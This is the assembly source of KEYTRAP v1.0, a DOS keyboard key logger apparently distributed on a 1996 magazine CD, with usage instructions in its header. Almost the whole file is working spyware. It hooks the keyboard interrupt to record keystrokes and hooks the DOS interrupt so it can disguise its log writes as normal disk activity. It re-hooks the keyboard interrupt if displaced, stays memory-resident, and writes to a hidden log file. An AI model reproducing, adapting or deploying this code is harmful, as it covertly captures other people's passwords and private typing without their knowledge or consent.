PC World Interactive 7/PC World Interactive 7.iso/program/asprog.EXE/KEYTRAP.ASM

Assembly Source File | 1996-06-20 | 17.8 KB | 448 lines

;
;
; KEYTRAP v1.0 - Keyboard Key Logger
; By Dcypher ([e-mail])
;
; Usage: KEYTRAP <dir\logfile> /A /B /C
;
;        A - Maximum size of log file.
;        B - Number of keys to log per session.
;        C - Minutes between each session.
;
;------------------------------------------------
                        ;
    .286                                    ; 286 or better
    .model small                            ;
    .code                                   ;
    org     100h                            ;
                        ;
begin:  jmp     install                ;
                        ;
;================================================
                        ;
db      ' [e-mail] / KEYTRAP V1.0 '    ; PLEASE DON'T REMOVE
                        ;
buf             db 401 dup (0)                  ; 400 byte buffer
bufptr          dw 0                            ;  +1 for luck :)
                        ;
hide            db 0                ; save int21 function call
stimem          dw 0                ; grab time when done
handle          dw 0                            ; logfile handle
control         db 0                ; control which INT to use
done_flag       db 0                ; session done flag
must_write      db 0                            ; must-write flag
write_amount    dw 0                            ; amount written to disk
using_21        db 0                ; already doing an int-21
                        ;
old_9a_off      dw 0                ;
old_9a_seg      dw 0                            ;
                        ;
old_9b_off      dw 0                ;
old_9b_seg      dw 0                            ;
                        ;
old_21_off      dw 0                            ;
old_21_seg      dw 0                            ;
                        ;
datasegm        dw 0                            ; save data-segment
                        ;
delaym          dw 0                ; delay, in minutes
mkeys           dw 0                            ; maximum number of keys
logH            dw 0                            ; log file size
logL            dw 0                            ; log file size
                        ;
;==============================================================================
                        ;
int_9A: pushf                                   ;
    pusha                                   ;
    push    es                 ;
        push    ds                              ;
    mov     ds, datasegm                    ; we are here
                        ;
    cmp     control, 1            ; use this one ?
        je      A91                ;
        call    pkey                ; process key (scancode)
                          ;
   A91: pop     ds                              ;
    pop     es                              ;
    popa                                    ;
    popf                                    ;
    jmp     dword ptr old_9a_off            ;
                        ;
;================================================
                        ;
  pkey: cmp     done_flag, 1                    ; completely done ?
    je      pk2                             ;
    cmp     bufptr, 400                     ; buffer limit reached ?
    jae     pk2                             ;
                        ;
    in      al, 60h                         ; get scancode
                        ;
    cmp     al, 39h                         ; get downstroke and only
    ja      pk2                             ; as far as spacebar
        cmp     al, 2Ah                ;
        je      pk2                ; no shift
        cmp     al, 36h                ;
        je      pk2                ; no shift
                        ;
        push    0                ;
        pop     es                ;
        mov     ah, byte ptr es:[417h]        ; shift status
        test    ah, 43h                ; test for both shift keys
        je      pk1                    ; and cap-lock active
                        ;
        add     al, 80h                ; show shift or cap-lock
   pk1:    mov     di, bufptr                      ; in logfile
    mov     buf[di], al                     ; place scancode in buffer
    inc     di                              ;
    mov     bufptr, di                      ;
        mov     must_write, 1            ; try to write buffer
                        ;
   pk2: ret                    ;
                        ;
;================================================
                        ;
int_9B: pushf                                   ;
    pusha                                   ;
    push    es                              ;
    push    ds                              ;
    mov     ds, datasegm                    ; we are here
                        ;
        cmp     control, 0            ; use this one ?
        je      B91                   ; (not really needed)
        call    pkey                ; process a key (scancode)
                        ;
   B91: pop     ds                              ;
    pop     es                ;
    popa                                    ;
    popf                                    ;
    jmp     dword ptr old_9b_off            ;
                        ;
;==============================================================================
                        ;
int_21: pushf                                   ;
    pusha                                   ;
    push    es                              ;
    push    ds                              ;
    mov     ds, datasegm                    ; here we are
                        ;
        cmp     ax, 0ffffh            ; check if already installed
        je      D21                ;
                        ;
    cmp     using_21, 1                     ; might need to call an
    je      C21                             ; int-21 here so jump if
    mov     using_21, 1                     ; called from below
        mov     hide, ah            ; save function # for hideing
                        ;
        call    switch                 ; always control the int 9's
        call    timer                ; always check restart timer
                        ;
    cmp     done_flag, 1                    ; completely done ?
    je      B21                             ;
    cmp     must_write, 1                   ; need to write ?
    jne     B21                             ;
        cmp     bufptr, 400            ; push a write when buffer
        jae     A21                ; is full
                        ;
        cmp     hide, 3Fh             ; disk read
        je      A21                ; (hide buffer write)
        cmp     hide, 40h             ; disk write
        je      A21                ;
        jmp     B21                ; can't hide, try another time
                        ;
   A21: call    saveb                           ; write buffer
                        ;
   B21: mov     using_21, 0                     ; no int-21 calls anymore
   C21: pop     ds                              ;
    pop     es                              ;
    popa                                    ;
    popf                                    ;
    jmp     dword ptr old_21_off            ;
;------------------------------------------------
   D21: pop    ds                ; already installed !
        pop    es                ;
        popa                    ;
        popf                    ;
        mov     ax, 1                ; show installed
        iret                    ;
                        ;
;==============================================================================
                        ;
timer:  cmp     done_flag, 0            ; only check time when
    je      timerb                ; session is complete !
                        ;
        mov     ah, 2Ch                ;
        int     21h                ; whats the time ?
        mov     al, ch                ;
        xor     ah, ah                ;
        mov     bx, 60                ;
        mul     bx                ; multiply hours by 60
        xor     ch, ch                ;
        add     ax, cx                ; add in the minutes
                             ;
        mov     bx, stimem            ;
        cmp     ax, bx                ; is time now same as
        je      timerb                ; when session was completed
                        ; if so, don't do anything
        xor     cx, cx                ;
timer1: cmp     bx, 1440            ; midnight then back to 0
        jb      timer2                ;
        xor     bx, bx                ;
timer2: inc     cx                ; minutes counter
        inc     bx                ;
        cmp     ax, bx                ; count untill time now
        jne     timer1                ;
                        ;
        cmp     cx, delaym            ;
        jb      timerb                ; should we reset ?
                        ;
        mov     done_flag, 0            ; reset / next session
timerb: ret                    ;
                        ;
;------------------------------------------------
                        ;
switch: mov     ax, 3509h                       ;
    int     21h                             ;
    cmp     bx, offset int_9A               ; everything ok with 9A ?
    jne     sw1                             ; check offset
        mov     control, 0            ; show who has control
        ret                        ;
                               ;
   sw1: cmp     control, 1            ; 9B already in use ?
        je      sw2                ; yes, don't do anything
        mov     ax, 3509h            ;
        int     21h                ;
        mov     old_9b_seg, es            ;
        mov     old_9b_off, bx            ;
        mov     ax, 2509h            ;
        lea     dx, int_9B            ;
        int     21h                ; use 9B instead of 9A !
        mov     control, 1            ; show who has control
   sw2: ret                                     ;
                        ;
;------------------------------------------------
                        ;
saveb:  mov     ax, 3d01h                       ;
    mov     dx, 82h                         ;
    int     21h                             ; open logfile, r/w
    jc      probw                           ;
    mov     handle, ax                      ;
    mov     bx, ax                          ;
    mov     ax, 4202h                       ;
    xor     cx, cx                          ;
    xor     dx, dx                          ;
    int     21h                             ; point to eof
    jc      probw                           ;
    mov     ah, 40h                         ;
    mov     bx, handle                      ;
    mov     cx, bufptr                      ;
    lea     dx, buf                         ;
    int     21h                             ; write buffer
    jc      probw                           ;
    mov     ah, 3Eh                         ;
    mov     bx, handle                      ;
    int     21h                             ; close logfile
    jc      probw                           ;
;------------------------------------------------
    mov     cx, bufptr                      ; no problems writing
    add     write_amount, cx                ; so add to written amount
                        ;
    mov     cx, mkeys                       ; check number of keys logged
    cmp     write_amount, cx                ; all done ?
    jb      donew                           ;
                        ;
    mov     done_flag, 1                    ; show session complete
        mov     write_amount, 0            ; written amount to 0
        call    gtime                ; grab stop time [minutes]
                        ;
donew:  mov     must_write, 0                   ; no need to write anymore
    mov     bufptr, 0                       ; buffer pointer back to 0
probw:  ret                                     ; try again another time
                        ; (if problem writing)
;------------------------------------------------
                        ;
gtime:  mov     ah, 2Ch                ; DONE
        int     21h                ; grab time in minutes
        mov     al, ch                ;
        xor     ah, ah                ;
        mov     bx, 60                ;
        mul     bx                ; multiply hours by 60
        xor     ch, ch                ;
        add     ax, cx                ; add in the minutes
        mov     stimem, ax            ; start time in minutes
        ret                    ;
                        ;
;==============================================================================
;==============================================================================
                        ;
install:mov     bx, 80h                         ;
    cmp     byte ptr [bx], 0                ; any parameters ?
    je      bye                             ;
                        ;
        mov      ax, 0ffffh            ;
        int     21h                ; already installed ?
        cmp     ax, 1                ;
        je      bye                ;
                        ;
    call    conv                            ; convert command line numbers
    jc      bye                             ;
        call    clog                ; check or create logfile
                        ;
        mov     ax, 3509h                       ;
    int     21h                             ;
    mov     old_9a_off, bx                  ; save old int 9
    mov     old_9a_seg, es                  ;
    mov     ah, 25h                         ;
    lea     dx, int_9A                      ;
    int     21h                             ; hook only 9A to start
                        ;
    mov     ax, 3521h                       ;
    int     21h                             ;
    mov     old_21_off, bx                  ; save old int 21
    mov     old_21_seg, es                  ;
    mov     ah, 25h                         ;
    lea     dx, int_21                      ;
    int     21h                             ; point to new int 21
                        ;
        mov     datasegm, ds            ; save this datasegment area
                        ; for later use in the ISR's
    mov     bx, offset install              ;
    mov     ax, 3100h                       ;
    mov     dx, bx                          ;
    mov     cl, 04h                         ;
    shr     dx, cl                          ;
    inc     dx                              ;
    int     21h                             ; end / save above install
                        ;
   bye: mov    ah, 4Ch                ; no installation
        int     21h                ; just end
                        ;
;==============================================================================
                        ;
  conv: push    ds                              ; convert command line options
    pop     es                              ;
    mov     di, 81h                         ;
 conv1: inc     di                              ;
    cmp     byte ptr [di], 2fh              ; point to first "/"
    jnz     conv1                           ;
    inc     di                              ; point to first number
    call    mconv                           ; convert it
    jc      conv4                           ; any problems ?
    mov     logH, dx                        ;
    mov     logL, cx                        ; save max logfile size
        add     cx, dx                ;
        cmp     cx, 0                ; make sure not 0
        je      conv4                ;
                        ;
    dec     di                              ;
conv2:  inc     di                              ;
    cmp     byte ptr [di], 2fh              ; point to second "/"
    jnz     conv2                           ;
    inc     di                              ; point to first number
    call    mconv                           ; convert it
    jc      conv4                           ; any problems ?
        cmp     dx, 0                ; bigger then 65535 ?
        ja      conv4                ;
    mov     mkeys, cx                       ; save key limit
                        ;
    dec     di                              ;
conv3:  inc     di                              ;
    cmp     byte ptr [di], 2fh              ; point to third "/"
    jnz     conv3                           ;
    inc     di                              ; point to first number
    call    mconv                           ; convert it
    jc      conv4                           ; any problems ?
        cmp     dx, 0                ;
        ja      conv4                 ; bigger then 65535 end
        cmp     cx, 1440            ;
        ja      conv4                ; bigger then 1440 end
        mov     delaym, cx            ; save session delay time
        clc                    ; show no problems
        ret                    ;
conv4:  stc                    ; show problem
        ret                    ;
                        ;
;------------------------------------------------
                        ;
 mconv: xor     cx, cx                          ; main converter
    mov     dx, cx                          ; no comments here, all I
    mov     ah, ch                          ; know is that it works ! :)
    cld                                     ;
    dec     di                              ;
 convl: inc     di                              ;
    mov     al, es:[di]                     ; convert number at es:[di]
    xor     al, '0'                         ;
    cmp     al, 10                          ; carry flag will be set
    jae     convD                           ; if theres a problem
    shl     cx, 1                           ;
    rcl     dx, 1                           ;
    jc      convD                           ;
    mov     bx, cx                          ;
    mov     si, dx                          ;
    shl     cx, 1                           ;
    rcl     dx, 1                           ;
    jc      convD                           ;
    shl     cx, 1                           ;
    rcl     dx, 1                           ;
    jc      convD                           ;
    add     cx, bx                          ;
    adc     dx, si                          ;
    jc      convD                           ;
    add     cl, al                          ;
    adc     ch, 0                           ;
    adc     dx, 0                           ;
    jc      convD                           ;
    jmp     convl                           ;
convD:    ret                                     ;
                        ;
;------------------------------------------------
                        ;
  clog:    mov     bx, 82h                         ; point to logfile
 null1: cmp     byte ptr [bx], 20h              ; find first space
    je      null2                           ;
    inc     bx                              ;
    jmp     null1                           ;
 null2: mov     byte ptr [bx], 0                ; replace space with 0
                        ;
        mov      ax, 3D01h            ;
        mov     dx, 82h                ;
        int     21h                ; open the file
        jc      clog3                ;
        mov     handle, ax            ; good open, save handle
                        ;
        mov     ax, 4202h                       ;
    mov     bx, handle                      ;
    xor     cx, cx                          ;
    xor     dx, dx                          ;
    int     21h                             ; mov pointer to eof
                        ;
    cmp     logH, dx                        ; check size
    ja      clog4                           ; size ok
    cmp     logH, dx                        ;
    je      clog1                           ;
    jmp     clog2                           ; must be below, not ok
 clog1: cmp     logL, ax                        ;
    ja      clog4                           ; size ok
                        ;
 clog2: mov     ax, 4301h                       ;
    mov     dx, 82h                         ;
    xor     cx, cx                          ;
    int     21h                             ; change file mode
    mov     ah, 41h                         ;
    mov     dx, 82h                         ;
    int     21h                             ; delete file
                        ;
 clog3: mov     ah, 3Ch                ; create new
        mov     cx, 02h                ; (hidden)
        mov     dx, 82h                ;
        int     21h                ;
        mov     handle, ax            ;
                        ;
 clog4: mov     bx, handle            ; close logfile handle
        mov     ah, 3Eh                ;
        int     21h                ;
        ret                    ;
                        ;
;==============================================================================

end     begin